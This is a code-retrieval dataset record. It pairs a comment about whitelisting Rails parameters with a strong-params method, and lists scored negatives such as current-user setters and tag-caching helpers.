"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def user_params
params.require(:user).permit(:name, :first_name, :last_name, :email, :password, :password_confirmation, :salt, :encrypted_password, profile_attributes: [:id, :city, :state, :website])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
before_filter :set_current_user def set_current_user binding.pry User.current = current_user end
|
def index
serialized_paths = ActiveModel::ArraySerializer.new(MODEL.all,
each_serializer: PathSerializer).serializable_array
serialized = ActiveModel::ArraySerializer.new(Item.all,
each_serializer: ItemSerializer).serializable_array
user_paths = ActiveModel::ArraySerializer.new(UserPath.all,
each_serializer: UserPathSerializer).serializable_array
render json: {
paths: serialized_paths,
items: serialized,
user_paths: user_paths
}
# , meta: { current_user: current_user }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_current_user\n if logged_in?\n @current_user = current_user\n end\n end",
"def set_current_user\n User.current = current_user\n end",
"def set_current_user\n @user = current_user\n end",
"def set_current_user\n @user = current_user\n end",
"def set_current_user\n User.current_user = current_user\n end",
"def set_current_user\n User.current = current_user\n end",
"def set_current_user! #naming convention to have the !\n @current_user = User.find_by(id: session[:user_id])\n end",
"def set_current_user\n User.current = current_user\n end",
"def set_current_user\n \t\tif session[:user_id]\n \t\t\tCurrent.user = User.find_by(id: session[:user_id])\n \t\tend\n \tend",
"def set_current_user\n User.current = current_user\n end",
"def set_current_user\n @user = current_user\n end",
"def set_current_user\n @user = current_user\n end",
"def set_current_user\n @user = current_user\n end",
"def set_current_user\n @user = current_user\n end",
"def set_current_user\n if session[:user_id] \n @current_user = User.find(session[:user_id])\n end \n end",
"def set_current_user\n if logged_in?\n User.current_user = current_user\n else\n User.current_user = nil\n end\n end",
"def setup_current_user\n @current_user = User.find(session[:user_id]) unless session[:user_id].nil?\n end",
"def set_logged_in_user_in_audit_module\r\n\t AuditModule.set_current_user=(current_user)\r\n end",
"def set_current_user(current_user)\n @current_user = current_user\n end",
"def set_current_user\n if params[:user].blank?\n self.my_current_user = nil\n else\n self.my_current_user = User.find params[:user]\n end\n end",
"def set_current_user\n @current_user = User.find_by(id: session[:user_id])\n end",
"def set_current_user\n current_user\n authorize\n end",
"def set_global_current_user\n Current.user = current_user\n end",
"def setup \n @user = current_user\n end",
"def set_user\r\n @user = current_user\r\n end",
"def current_user(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user \n end",
"def current_user= user\n \t@current_user = User.find(user.id)\n end",
"def current_user=(user)\n @current_user = user\n\tend",
"def current_user=(user)\n @current_user = user \n end",
"def set_current_user\n AuthorizationData.current_user = current_user\n yield\n ensure\n AuthorizationData.current_user = nil\n end",
"def set_current_user\n Authorization.current_user = current_user\n end",
"def set_current_user\n Authorization.current_user = current_user\n end",
"def current_user=(user)\n \t#sets an instance variable @current_user, effectively storing the user for later use\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def set_user\n @user = current_user \n end",
"def set_user_as_current_user\n @user = @current_user\n end",
"def current_user\n @current_user ||= find_logged_in_user\n end",
"def current_user=(user)\n\t\t@current_user = user\n \tend",
"def current_user=(user)\r\n @current_user = user\r\n end",
"def current_user\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n #debugger\n #User.find_by(session[:user_id]) if session[:user_id]\n end",
"def current_user\n @current_user ||= context[:current_user]\n end",
"def set_user\n @user = current_user\n end",
"def set_user\n @user = current_user\n end",
"def set_user\n @user = current_user\n end",
"def set_user\n @user = current_user\n end",
"def set_user\n @user = current_user\n end",
"def set_user\n @user = current_user\n end",
"def set_user\n @user = current_user\n end",
"def set_user\n @user = current_user\n end",
"def set_user\n @user = current_user\n end",
"def set_current_user\n if logged_in?\n whodat = send(Lockdown::Configuration.who_did_it)\n Thread.current[:who_did_it] = whodat\n end\n end",
"def before_filter\n if current_user\n true\n end\n end",
"def set_user\n @user = User.find(current_user.id)\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def get_user\n @current_user = current_user\n end",
"def set_user\n @user = @current_user\n end",
"def current_user\n # Each time you use current_user, it might hit the database, so here we save the value to an instance variable, so you only hit the db once per page request.\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n end",
"def current_user=(user)\n\t\t# Create an instance variable so that it can be viewed by the controller and view\n\t\t@current_user = user\n\tend",
"def current_user=(user) # assignment to current_user, method current_user= with arg as (user) \n\t@current_user = user \n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n @current_user = user\n end",
"def current_user=(user)\n\t\t@current_user = user\n end",
"def set_user\n @cUser = current_user\n puts \"***#{@cUser}\"\n end",
"def set_current_user\n @current_user = current_student || current_admin\n end",
"def set_current_user\n @current_user =\n if session.key? :user_id\n User.active.find_by id: session[:user_id]\n elsif request.env.key? 'fcIdNumber'\n User.active.find_by spire: request.env['fcIdNumber']\n end\n session[:user_id] = @current_user.id if @current_user.present?\n end"
] |
[
"0.80238974",
"0.79611784",
"0.7885648",
"0.7885648",
"0.7876195",
"0.78582555",
"0.78463835",
"0.78387994",
"0.7817579",
"0.77648425",
"0.77432",
"0.77432",
"0.77432",
"0.77432",
"0.7725944",
"0.77168924",
"0.76982564",
"0.7696088",
"0.7694775",
"0.7652443",
"0.76371366",
"0.760996",
"0.75622475",
"0.75418884",
"0.75278986",
"0.7524209",
"0.75046206",
"0.7495039",
"0.74942285",
"0.7470555",
"0.746726",
"0.74615246",
"0.74615246",
"0.7457056",
"0.74318016",
"0.74293697",
"0.7418015",
"0.74168354",
"0.74009466",
"0.73947066",
"0.73874575",
"0.73789173",
"0.73767257",
"0.73767257",
"0.73767257",
"0.73767257",
"0.73767257",
"0.73767257",
"0.73767257",
"0.73767257",
"0.73767257",
"0.7361771",
"0.7346971",
"0.7343465",
"0.7323874",
"0.7323874",
"0.7323874",
"0.7323874",
"0.7323874",
"0.7323874",
"0.7323874",
"0.7323874",
"0.73208123",
"0.73190296",
"0.73156327",
"0.73118705",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7296883",
"0.7293918",
"0.72891283",
"0.7285766",
"0.727204",
"0.7270053"
] |
0.0
|
-1
|
updates tag string cache
|
def cache_tags
self[:tag_s] = self.tags.collect{|tag| tag.pattern}.reject{|p| p.starts_with?('wait') }.sort.join(' ')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def cache_tag_list\n set_cached_tag_list\n save\n end",
"def update_tag_file\n make_cache_dir\n begin\n tag_array = read_tag_file(@tag_file)\n yield(tag_array)\n write_tag_file(tag_array)\n end\n end",
"def store\n @by_cache.each{|cache, tags| cache[:tags] = tags }\n end",
"def update_tag_attribute(content, tag_name, attr_name, init_val); end",
"def update_cached_tag_lists\n cache_tag_list if tag_list != cached_tag_list\n cache_topic_list if topic_list != cached_topic_list\n cache_user_tag_list if user_tag_list != cached_user_tag_list\n cache_owned_tag_list if owned_tag_list != cached_owned_tag_list\n end",
"def replace_using(tag, string)\n Tags[tag][1] = string\n end",
